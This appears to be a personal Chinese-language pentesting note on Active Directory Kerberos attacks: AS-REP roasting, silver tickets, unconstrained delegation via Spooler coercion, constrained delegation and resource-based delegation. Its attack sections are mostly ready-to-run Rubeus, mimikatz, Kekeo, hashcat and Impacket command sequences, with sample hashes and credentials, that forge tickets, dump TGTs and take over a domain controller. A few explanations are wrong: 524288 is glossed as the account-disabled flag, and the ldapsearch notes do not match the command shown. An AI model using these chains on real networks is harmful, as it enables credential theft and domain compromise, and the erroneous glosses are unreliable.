https://zhuanlan.zhihu.com/p/474523090
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AS-REPRoasting
预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。
正常情况下,在上图中,在kerberos认证第一步中,会向AS发送用户名和密码,并且向AS发送一个AS_REQ,这个AS_REQ里包含了使用Client的NTLM-Hash加密的时间戳以及Client-info、Server-info等数据,以及一些其他信息。然后AS会去检查客户端ID是否在数据库中,如果在,则使用其hash进行解密比对,比对成功,则发送两条信息给客户端,一条是使用客户端HASH加密的Session Key等信息,另一条就是使用krbtgt HASH加密的票据TGT。
而这个HASH比对验证的过程就是预身份验证,如果取消掉预身份验证,只要使用的是KDC数据库中存在的用户名,那么就会直接返回使用客户端HASH加密的Session Key等信息,可以进行离线爆破。
AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " 。而该属性默认是没有勾选上的。
使用工具Rubeus.exe
Rubeus.exe asreproast
https://hashcat.net/wiki/doku.php?id=example_hashes
查找hashcat密码,为了能让hashcat识别,我们要在$krb5asrep后面添加一个$23
hashcat -m 18200 hash.txt passwd.txt--force
还有工具ASREPROAST.ps1
Powershell -ExecutionPolicy Bypass
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast
Get-ASREPHash -UserName man03 -Domain vvvv1.com
还有工具Impacket中的GetNPUsers.py
python3 GetNPUsers.py -dc-ip 10.211.55.30 hacker.lab/ -usersfile users.txt -format john -outputfile hashes
尝试该工具会在日志中生成4678的TGT请求记录
在实战当中很少见会开启这个选项的,所以我们在内网渗透中一般是用来做权限维持。
需要枚举域内用户是否存在开启选项
1. 可以使用PowerView、kerbrute等工具枚举出存在开启选项”Do not require Kerberos preauthentication”的用户
2. 导出hash并破解
- 需要先获得对指定用户的GenericWrite权限,利用思路如下:
- 开启用户选项”Do not require Kerberos preauthentication”
- 导出hash并破解
- 关闭用户选项”Do not require Kerberos preauthentication”
**总结:****与Kerberoasting和黄金票据的区别**
· AS-REP Roasting:获取用户hash然后离线暴力破解
· Kerberoasting:获取应用服务hash然后暴力破解
· 黄金票据:通过假冒域中不存在的用户来访问应用服务
白银票据
https://www.freebuf.com/articles/others-articles/329728.html
如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。
通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
在Windows下
klist purge
privilege::debug
kerberos::golden /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /target:ad-2016.vvvv1.com /service:cifs /rc4:0e88bb31c15409de8c9302a085a0b853 /user:admin /ptt
在socks代理的环境下,只需要修改host文件指定域名与ip的关系即可。
C:\Windows\System32\drivers\etc\host
在linux下
使用pypykatz
https://github.com/skelsec/pypykatz/wiki/
pypykatz kerberos tgs -o 1.CCACHE "kerberos+NT+hash://VVVV1\AD-2016$:0e88bb31c15409de8c9302a085a0b853@10.10.10.10" "cifs@vvvv1.com"
白银票据的服务列表
Service Type | Service Silver Tickets |
WMI | HOST <br>RPCSS |
PowerShell Remoting | HOST <br>HTTP |
WinRM | HOST <br>HTTP |
Scheduled Tasks | HOST |
Windows File Share (CIFS) | CIFS |
LDAP operations including<br><br>Mimikatz DCSync | LDAP |
Windows Remote Server Administration Tools | RPCSS <br>LDAP <br>CIFS |
kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt
白银票据利用
https://www.cnblogs.com/backlion/p/8119013.html
1.为CIFS 服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限;
2.为HOST服务创建白银票据,以获得目标计算机修改和创建计划任务的权限;
3.为HTTP&WSMAN服务创建白银票据,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限,
注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell;
4.为LDAP服务创建白银票据,以获得目标系统(包括Active Directory)上LDAP服务的管理权限,通过DCSync来获取域hash;
5.为HOST和RPCSS服务创建白银票据,以获得在目标系统使用WMI远程执行命令的权限;
总结
1.白银票据是通过服务名和其hash来进行伪造服务票据ST,并且在利用白银票据的过程并不需要再经过KDC,因此,在socks代理环境下,只需要修改本地的host文件,使我们的命令走kerberos协议,即可使用白银票据;
2.黄金票据在socks代理环境下之所以需要远程解析DNS才可以使用的原因是,黄金票据相当于是伪造TGT票据,接下来还需要访问域内的DNS服务器,来返回KDC的地址等信息,因此必须要DNS远程解析才可以使用黄金票据;
3.当使用域名进行dir或者net use的时候,默认是使用kerberos认证,但是在特定情况下 Kerberos 认证失败(如未正确配置、目标服务器不支持或 Kerberos 凭据过期等),Windows 客户端会自动回退到使用 NTLM 认证,
也就是说如果是在域外的机器,在socks代理环境下,使用黄金票据无法指定KDC的地址,那么使用域名进行 dir 或 net use 操作时,默认的kerberos认证无法进行下去,就会使用ntlm认证。
NTLM认证审核失败如下:
NTLM认证审核成功如下:
4.这样就可以解释为什么在socks代理环境下使用白银票据是使用kerberos认证,而使用黄金票据认证失败却显示NTLM认证。
在使用白银票据时,修改host文件本地解析域名,且接下来的过程不涉及到KDC,因此可以直接使用kerberos认证通过,由于白银票据是伪造ST,且利用PAC未设置的漏洞,因此产生的日志只有上图的4号日志,因为绕过PAC检测,因此也不会有3号日志。
在使用黄金票据时,虽然也可以使用修改host文件本地解析域名,但是黄金票据是伪造TGT,后面的认证过程中还会涉及到客户端使用TGT向KDC请求ST的操作,而获取到KDC的地址则需要访问DNS服务器,通过DNS服务器指定KDC的地址,才能完成kerberos认证,但是在windows下无法远程解析,也就是无法在远程访问DNS服务器(Proxifier软件无法远程解析,linux中的proxychains可以),因此无法使用kerberos认证,所以Windows 客户端会自动回退到使用 NTLM 认证,此时如果我们输入错误的账户密码则会显示NTLM认证失败。
如果使用黄金票据认证成功,则会产生2、3、4号日志。
委派攻击
在现实情况下,往往多个服务不可能在一台机器中,那么如果用户在使用服务A时,需要服务B上属于自己的数据,最简单的方式就是A代替用户去请求B返回相应的信息,这个过程就是委派。
委派攻击分为非约束委派、约束委派、基于资源的约束委派三种。
https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fde133c13a5f0107e699d47840c&scene=126&sessionid=1584603915&key=cf63f0cc499df801cce7995aeda59fae16a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c6208343e0c235450a6bd202bf7520f6368cf361466baf9785a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=NTgyNDEzOTc%3D&devicetype=Windows+10&version=62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBWKaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh3AOMIfoBgH2TXNSxmnLYPig8%3D
非约束委派攻击
非约束委派的请求过程如下图
这里我们可以了解,当service1的服务账户开启了非约束委派后,user访问service1时,service1会将user的TGT保存在内存中,然后service1就可以利用TGT以user的身份去访问域中的任何user可以访问的服务,总结起来就是当域内某台主机或用户访问了配置了非约束性委派的主机的服务的时候,就会将自己的TGT发送到该服务所在的计算机上,然后该计算机会保存其TGT至内存中。
也就是说,如果域内一台主机存在非约束委派,经过一系列的渗透操作,我们拿下了这一台存在非约束委派的主机,那么只需要让域管理员或者域控访问该主机的服务或者对该主机进行kerberos认证,就可以直接提取到域管理员的TGT,从而利用该TGT接管域控。
查找非约束委派主机
当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
ADfind
(需要上传到域内一台成员主机中运行)
AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
- **-b "DC=vvvv1,DC=com":**指定了要搜索的 Active Directory 的基本搜索路径(基准 DN)。这里的示例是域名为 vvvv1.com 的域。"DC" 表示域组件。
- **-f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))":**指定了过滤器,以筛选符合条件的对象。该示例的过滤器使用了两个条件:
**samAccountType=805306369:**筛选出 samAccountType 值为 805306369,表示计算机对象(Computer)。
- 0x30000000 (805306368):表示用户对象(User)
- 0x30000001 (805306369):表示计算机对象(Computer)
- 0x30000002 (805306370):表示组对象(Group)
- 0x30000003 (805306371):表示域本地组对象(Domain Local Group)
- 0x30000004 (805306372):表示全局组对象(Global Group)
- 0x30000005 (805306373):表示通用组对象(Universal Group)
**userAccountControl:1.2.840.113556.1.4.803:=524288:**通过位掩码筛选出 userAccountControl 属性中的特定标志位。这里的值 524288 表示 "ADS_UF_ACCOUNTDISABLE" 标志,用于检查用户帐户是否禁用。
- **cn distinguishedName:**指定要返回的属性列表。该示例中返回了 cn(常规名称)和 distinguishedName(唯一名称)属性。
LdapSearch
(linux下,在socks代理的环境下可以使用,需要指定账号密码)
ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "man03@vvvv1.com" -w "User\!@#45" -b dc=vvvv1,dc=com "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
- -LLL:以 LDIF 格式(LDAP Data Interchange Format)输出结果,去除注释和版本信息。
- -x:使用简单身份验证(Simple Authentication),即使用明文密码进行身份验证。
- -H ldap://192.168.124.142:389:指定要连接的 LDAP 服务器的主机和端口。在这个示例中,LDAP 服务器位于 IP 地址为 192.168.124.142 的主机上,使用默认端口 389 进行通信。
- -D "administrator@test.com":指定用于绑定(bind)到 LDAP 服务器的用户 DN(Distinguished Name)。在这个示例中,绑定的用户为 administrator@test.com。
- -w "123":指定与绑定用户关联的密码。
- -b dc=test,dc=com:指定要搜索的基准 DN(Base DN),即搜索的起始点。在这个示例中,基准 DN 是 dc=test,dc=com,表示搜索域为 test.com。
- "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))":指定了搜索过滤器,以筛选符合条件的对象。该示例中的过滤器使用了两个条件:
- samAccountType=805306369:筛选出 samAccountType 值为 805306369,表示计算机对象(Computer)。
- msds-allowedtodelegateto=*:筛选具有非空 msds-allowedtodelegateto 属性的对象。
- cn distinguishedName msds-allowedtodelegateto:指定要返回的属性列表。该示例中返回了 cn(常规名称)、distinguishedName(唯一名称)和 msds-allowedtodelegateto 属性。
powerview
(需要上传powerview进入目标靶机)
Powershell -ExecutionPolicy Bypass
Import-Module .\PowerView.ps1
Get-NetComputer -Unconstrained -Domain vvvv1.com | select cn
非约束委派利用
利用环境
域控:AD-2016
普通成员主机:WSUS-PC(配置非约束委派)
域管账户:VVVV1\administrator
由上面的原理我们可以知道,一台主机配置了非约束委派之后,域管理员或者域控访问该主机的服务或者对该主机进行kerberos认证,都会将对应的TGT保存到该主机的LSASS进程中,我们就可以通过工具进行导出TGT来注入内存,获取域内高权限,从而接管域控。
这里我们只需要使用域控或者域管账户对WSUS-PC机器进行kerberos认证即可。
- 未注入前权限
- 使用域控或者域管账户对WSUS-PC机器进行kerberos认证
在域控上使用机器名进行net use建立共享进行kerberos认证。
net use \\WSUS-PC.vvvv1.com\ipc$
dir \\WSUS-PC.vvvv1.com\c$
经过此次连接后,Administrator的凭证已经留在机器WSUS-PC上了。
- 使用mimikatz导出TGT,并选择高权限TGT注入内存
privilege::debug #导出票据
sekurlsa::tickets /export
kerberos::ptt [0;7963f]-2-0-60a10000-Administrator@krbtgt-VVVV1.COM.kirbi #注入票据
klist
发现权限提升,接管域控。
总结思路
- 通过IdapSearch或者AdFind或者PowerView查询域内配置了非约束性委派的机器。
- 通过渗透手段拿下目标机器权限。
- 诱导域控或域管对这台机器进行kerberos认证(使用钓鱼手段或者打印机漏洞等等)。
- 利用成功后,域控或域管的TGT被注入LSASS进程,使用mimikatz等工具导出本地TGT。
- 获取到高权限TGT,使用mimikatz等工具将高权限的TGT注入内存,接管域控。
利用Spooler服务漏洞进行攻击
https://blog.csdn.net/a3320315/article/details/106511098
https://blog.csdn.net/qq_44159028/article/details/124014421
在特定情况下,如果域控开启splooer服务,可以利用splooer服务让域控主动连接。Spooler服务默认开启,域用户可以利用windows打印系统远程协议(MS-RPRN)强制任何运行了spooler服务的域内计算机通过kerberos或ntlm对任何目标进行身份验证,这便是该攻击方式的原理。
- Rubeus对域控机器账户监听
以本地管理员权限运行Rubeus,对域控机器账户的登录进行监听。
Rubeus.exe monitor /interval:1 /filteruser:ad-2016$
# 我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT
# /interval:1 设置监听间隔1秒
# /filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
# DC$为域控的主机名字加$
- 利用spoolsample工具强制让域控机向本机验证身份
以当前域用户身份运行spoolsample。
注意:需要关闭防火墙,否则无法抓取到TGT。
spoolsample.exe ad-2016 wsus-pc
# 表示利用打印服务强制让域控机向wsus-PC主机验证身份,这样通过Rubeus就可以监听抓取到TGT了
- 格式处理,获得票据
因为获取到的TGT前后存在换行和空格,这里我们使用python简单进行处理。
data =''
with open("1.txt") as fp1:
for line in fp1:
data += line.strip().strip('\n')
with open("2.txt",mode='a') as fp2:
fp2.write(data)
print(data)
使用powershell将其转为正常的票据
[IO.File]::WriteAllBytes("C:\Users\16229\Desktop\1.kirbi", [Convert]::FromBase64String("TGT_data"))
注意:生成路径需要绝对路径
生成票据1.kirbi后直接导出即可。
使用mimikatz或者Rubeus导入TGT。
kerberos::ptt 1.kirbi
或者使用Rubeus直接导入
Rubeus.exe ptt /ticket:TGT_data
注意,这里获取的TGT实际上是DC的机器账户,而机器账户是没有相应权限访问cifs服务的,但是在LDAP服务中,机器账户会被当做域控主机,从而可以DCSync。
利用DCSync可以导出域内hash,制作黄金票据来进行权限提升与维持,这里就不多赘述了。
约束委派攻击
对于约束性委派,服务账户只能获取该用户对指定的服务的ST。从而只能模拟该用户访问特定的服务。配置了约束性委派的账户的msDS-AllowedToDelegateTo属性会指定对哪个SPN进行委派。约束性委派的设置需要SeEnableDelegationPrivilege特权,该特权默认仅授予域管理员和企业管理员。
**约束性委派有两种:**一种是仅使用Kerberos,也就是不能进行协议转换;另一种是使用任何身份验证协议,也就是能进行协议转换。
(1)仅使用Kerberos
- 配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样,但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN
(2)使用任何身份验证协议
- 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312,并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN
约束性委派的流程
为了在Kerberos协议层面对约束性委派进行支持,微软对Kerberos协议扩展了两个自协议:S4u2Self(Service for User to Self)和 S4u2Proxy(Service for User to Proxy)。S4u2Self可以代表任意用户请求针对自身的ST;S4uProxy可以以用户的名义请求针对其他指定服务的ST
- 用户A访问service1;
- service1通过S4U2self协议代表用户A去请求一个可以访问service1自身的可转发的ST,这个ST代表域控授权service1可以以用户A的身份进行操作;
- service1通过S4U2proxy协议以用户A的身份访问KDC请求一个访问service2的可转发的ST,而在S4U2proxy阶段过程会通过判断msds-allowedtodelegateto里的SPN值来确定是否可以申请到service2的ST;
- service1获取到ST并以用户A的名义访问service2;
也就是说,如果获取了service1的权限,就可以伪造S4U先请求service1本身的ST,然后利用此ST便可以伪造任意用户请求获取service2的ST。
(注意:可转发的ST指的是一个用户的凭证或票据从一个服务传递给另一个服务,以便在后续的服务中代表该用户进行身份验证和授权。当一个用户在某个服务上成功进行身份验证后,该服务可能会颁发一个票据给用户。这个票据可以包含用户的身份信息和权限。通常情况下,这个票据只能在颁发它的服务上使用,这样就是不可转发的服务票据。但是,在约束委派中,获取到的服务自身的ST可以将用户的票据转发给其他服务,以便用户无需重新进行身份验证,直接在其他服务上使用之前获得的票据。)
查找约束委派主机
当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务
AdFind
//查询域内具有约束委派的机器账户
AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
//查询域内具有约束委派的服务账户
AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
LdapSearch
//查询域内具有约束委派的机器账户
ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "administrator@vvvv1.com" -w "admin!@#4567" -b dc=vvvv1,dc=com "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
//查询域内具有约束委派的服务账户
ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "administrator@vvvv1.com" -w "admin!@#4567" -b dc=vvvv1,dc=com "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
PowerView
Powershell -ExecutionPolicy Bypass
Import-Module .\PowerView.ps1
//查询域内具有约束委派的机器账户
Get-DomainComputer -TrustedToAuth -Domain vvvv1.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
//查询域内具有约束委派的服务账户
Get-DomainUser -TrustedToAuth -Domain vvvv1.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto
约束委派利用
因为S4U2self是service代表用户请求的自身可转发的ST,因此如果要配置域内账户进行约束委派,需要对该账户配置SPN。
查看域内所有SPN
setspn -Q */*
查看单个主机的SPN
setspn -L ad-2016$
配置SPN
setspn -u -s host/weipai wp
- -u: 指定要设置 SPN 的帐户。在此命令中,-u 参数指示要设置名为 "wp" 的帐户的 SPN。
- -s: 指定要添加或更改 SPN 记录。在此命令中,-s 参数表示要添加一个新的或更改现有的 SPN 记录。
- host/weipai: 这是 SPN 的格式部分之一,用于标识服务和主机。在这个例子中,"host/weipai" 被用作服务和主机名。请注意,这是一个示例,具体的服务和主机名应根据您的实际情况进行调整。
- wp: 这是要设置 SPN 的帐户名。在这个命令中,"wp" 是指定要设置 SPN 的帐户的名称。
综上所述,setspn -u -s host/weipai wp 命令将为 "wp" 帐户添加一个新的 SPN 记录,并将其关联到 "host/weipai" 服务和主机。这样,在系统进行身份验证和授权时,可以正确地识别 "wp" 帐户,并将其与特定的服务和主机相关联。
攻击方式一
首先我们需要获取到服务账户的NTLM-HASH,用来制作TGT,通过服务账户的TGT在下一步获取到自身的可以转发的ST(如果是某个机器配置了约束委派,使用其对应的机器账户即可)。
使用工具Kekeo生成服务账户的TGT
tgt::ask /user:WSUS-PC$ /domain:vvvv1.com /NTLM:729211aa36b43064f566d70dff031567
这一步包括两个步骤:
1.利用服务账户的TGT来伪造S4U来请求自身的可转发的ST;
2.通过自身的可转发的ST来伪造任意用户请求获取其他服务的ST;
(注意,伪造的用户需要是经过KDC备案的用户。另外,如果伪造的用户不具备其他服务的权限,那么即使成功委派该服务,生成了票据并注入内存也无法成功访问,因此最好直接伪造administrator用户)
伪造无权限的man03用户
tgs::s4u /tgt:TGT_WSUS-PC$@VVVV1.COM_krbtgt~vvvv1.com@VVVV1.COM.kirbi /user:man03@vvvv1.com /service:cifs/ad-2016.vvvv1.com
发现成功生成ST
kerberos::ptt TGS_man03@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi
导入ST后,发现并没有权限访问域控的CIFS服务
伪造有权限的administrator用户
tgs::s4u /tgt:TGT_WSUS-PC$@VVVV1.COM_krbtgt~vvvv1.com@VVVV1.COM.kirbi /user:Administrator@vvvv1.com /service:cifs/ad-2016.vvvv1.com
导入ST后,可以直接访问域控的CIFS服务
kerberos::ptt TGS_Administrator@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi
当然,导入票据之后,具有了域控的CIFS权限,就可以直接使用psexec直接连接即可
psexec.exe \\ad-2016.vvvv1.com cmd.exe
在这里注意一个点,使用windows自带的psexec可以直接使用windows本地票据进行连接,使用impacket工具包无法成功连接。
因为windows自带的psexec工具是建立在windows平台下的工具,因此可以直接读取到windows内存中的票据,通过票据进行发包进行连接。
但是使用impacket工具包中的psexec、smbexec等工具是建立在linux平台下的工具,在linux中并没有票据这一说法,使用 impacket 的脚本使用 .ccache 文件进行身份验证,因此在生成票据文件的时候,我们需要将.kribi文件格式转化成impacket脚本可以识别的文件格式,也就是.ccache文件。然后我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径。
然后使用impacket工具包即可直接连接。
python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass
攻击方式二
当然,也可以直接使用mimikatz导出机器账户的TGT,这样就不需要生成TGT了。
sekurlsa::tickets /export
接下来利用服务账户的TGT来伪造S4U来请求自身的可转发的ST,然后再通过自身的可转发的ST来伪造任意用户请求获取其他服务的ST
tgs::s4u /tgt:[0;3e4]-2-1-40e10000-WSUS-PC$@krbtgt-VVVV1.COM.kirbi /user:Administrator@vvvv1.com /service:cifs/ad-2016.vvvv1.com
再通过mimikatz导入票据即可
kerberos::ptt TGS_Administrator@vvvv1.com@VVVV1.COM_cifs~ad-2016.vvvv1.com@VVVV1.COM.kirbi
然后可以使用官方的psexec进行连接
PsExec64.exe \\ad-2016.vvvv1.com cmd.exe
攻击方式三
直接利用Rubeus进行攻击
Rubeus.exe s4u /user:WSUS-PC$ /rc4:729211aa36b43064f566d70dff031567 /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/ad-2016.vvvv1.com /ptt
已经可以直接使用psexec连接了
PsExec64.exe \\ad-2016.vvvv1.com cmd.exe
攻击方法四
python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :729211aa36b43064f566d70dff031567
set KRB5CCNAME=C:\Users\Administrator\Desktop\kekeo\administrator.ccache
python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk
总结
约束委派和非约束委派的区别
1.委派任何服务即为非约束委派,委派特定的服务即为约束委派;
2.非约束委派需要另一台主机或账号对配置了非约束委派的主机进行kerberos认证,并且需要通过认证,非约束委派主机可以直接导出对方保存在内存中的TGT来进行利用;
而约束委派是在获取到配置了约束委派的主机后,通过伪造S4U来请求主机或者服务账号本身的可转发的ST,然后通过该ST来伪造任意用户(需要通过KDC验证的用户)请求获取对应服务的ST;
3.非约束委派需要完成整个kerberos认证,因此需要其他主机主动进行认证,而约束委派只需要备案在KDC中的用户名即可,因此可以进行伪造用户请求,不需要其他主机主动进行认证;
4.使用windows自带的psexec可以直接使用windows本地票据进行连接,使用impacket工具包无法成功连接。因为windows自带的psexec工具是建立在windows平台下的工具,因此可以直接读取到windows内存中的票据,通过票据进行发包进行连接。但是使用impacket工具包中的psexec、smbexec等工具是建立在linux平台下的工具,在linux中并没有票据这一说法,使用 impacket 的脚本使用 .ccache 文件进行身份验证,因此在生成票据文件的时候,我们需要将.kribi文件格式转化成impacket脚本可以识别的文件格式,也就是.ccache文件。然后我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径。
基于资源的约束委派
基于资源的约束性委派 (RBCD: Resource Based Constrained Delegation):为了使⽤户/资源更加独⽴,微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,⽽把设置属性的权限赋予给了机器⾃身--基于资源的约束性委派允许资源配置受信任的帐户委派给他们。
基于资源的约束委派只能在运⾏ Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器上配置,但资源的约束委派可以跨域森林和跨域。
流程如下
- 服务A使用自己的服务账户和密码向KDC申请一个可转发的TGT;
- 服务A利用S4u2Self协议代表用户申请一个访问自身的ST。这一步区别于传统的约束性委派。在S4uSelf协议中提到,返回的ST可转发的一个条件是服务A配置了传统的约束性委派。KDC会检查服务A的msDS-AllowedToDelegateTo字段,如果这个字段被赋值了,则KDC返回可转发的ST。但是由于这里是基于资源的约束性委派,是在服务B上配置的,服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性配置了服务A的SID,服务A并没有配置msDS-AllowedToDelegateTo字段,因此KDC返回的ST是不可转发的;
- 服务A利用S4u2Proxy协议以用户身份向KDC请求访问服务B的可转发ST(上一步获得的不可转发ST放在请求包的AddtionTicket中)。KDC返回访问服务B的可转发ST;
- 服务A用上一步获得可转发ST访问服务B;
利用条件
由上文我们可以知道,配置了基于资源的约束性委派账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值为被允许委派账户的SID。那么,谁能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性,就说明谁拥有配置基于资源的约束性委派的权限。
在域控上执行,查询指定域内机器PC-2016的msDS-AllowedToActOnBehalfOfOtherIdentity属性
AdFind.exe -f "&(objectcategory=computer)(name=PC-2016)" msDS-AllowedToActOnBehalfOfOtherIdentity
默认情况下没有该属性
谁能添加机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性,谁就能配置基于资源的约束性委派。使用Adfind执行如下的命令,查询PC-2016机器的ACL,看哪些用户修改属性的权限
AdFind.exe -b CN=PC-2016,CN=Computers,DC=vvvv1,DC=com -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;;
如图所示,这四类用户可以修改该机器账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性。
VVVV1\WP:该用户为将该机器加入域的用户;
VVVV1\Cert Publishers:该用户组是用于授权和管理证书发布人的;
NT AUTHORITY\SELF:该用户是机器账户自身;
BUILTIN\Administrators:该用户组的是 Windows 操作系统中的一个内置用户组,包含了本地计算机上具有管理员权限的用户和组;
或者配置写入权限,也可以修改账户属性;
实际上,我们可以忽略VVVV1\Cert Publishers组,因为该组默认是不存在用户的。
机器账户自身和管理员组可以修属性不难理解,但是为什么VVVV1\WP用户可以修改属性呢?
这里我们需要明白的是,非只有域管理员才有将机器加入域的权限。一个普通的域用户也可以将某个机器加入域内,如果使用某个域用户将一台机器加入域内,那么这个域用户也就拥有了可以修改对应机器的属性的权限。
另外,域内用户都有一个属性叫做ms-ds-MachineAccountQuota,它代表的是允许用户在域中常见计算机账户的个数,默认是10。那么这就代表我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户也就是机器账户。前文我们也提到了,S4U2Self只适用于具有SPN的账户,而机器账户默认是注册RestrictedKrbHost/domain和HOST/domain这两个SPN的,因此可以直接利用。
基于资源的约束性委派的优势
- 委派的授予权限给了拥有资源的后端,而不是前端。不再需要域管理员权限设置,只需要拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,也就是将机器加入域的域用户和机器在自身都拥有该权限;
- 约束性委派不能跨域进行委派,而基于资源的约束性委派可以跨域和林;
约束性委派和基于资源的约束性委派配置的差别
- 传统的约束性委派是“正向的”,通过修改服务账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性,添加服务B的SPN,设置约束性委派对象为服务B,服务A便可以模拟任意用户向域控请求访问服务B的ST;
- 而基于资源的约束性委派则相反,通过修改服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性,添加服务A的SID,以达到让服务A模拟任意用户访问服务B资源的目的;
基于资源的约束性委派攻击
该攻击是有国外安全研究员Elad Shami 提出的,他在文章中指出无论服务账户的UserAccountControl属性是否被设置为TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION值,服务自身都可以通过调用S4uSelf来为任意用户请求自身的服务票据。但是当没有设置该属性时,KDC通过检查账户的msDS-AllowedToActOnBehalfOfOtherIdentity字段,发现没有被赋值,所以服务自身通过S4uSelf请求到的ST是不可转发的,因此是无法通过S4u2Proxy协议转发到其他服务进行约束性委派认证;
但是,在基于资源的约束性委派的过程中,不可转发的ST仍然可以通过S4u2Proxy协议转发到其他服务进行约束性委派认证,并且服务还会返回可转发的ST,这是微软的设计缺陷;
因此,如果我们能够在服务B上配置允许服务A的基于资源的约束性委派,那么可以通过控制服务A使用S4uSelf协议向域控请求任意用户访问自身的ST,最后再使用S4u2Proxy协议转发此ST去请求访问服务B的可转发ST,我们就可以模拟任意用户访问服务B了。而这里我们控制的服务A可以普通域用户的身份去创建机器账户;
最后,我们总结几个利用的条件:
- 操作系统版本大于Windows Server 2012;
- 拥有一个普通域用户权限,用于创建服务账户(直接使用一个服务账户也可以);
- 拥有一个域用户权限,且该用户具有可以修改目标机器属性的权限(域管理员账户、机器账户自身和创建机器账户的用户拥有该权限);
查询基于资源的约束委派的主机或服务账户
AdFind
利用Adfind过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性。
查询域中配置了基于资源的约束性委派的主机
Adfind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity
查询域中配置了基于资源的约束性委派的服务账户
Adfind.exe -b ”DC=vvvv1,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity
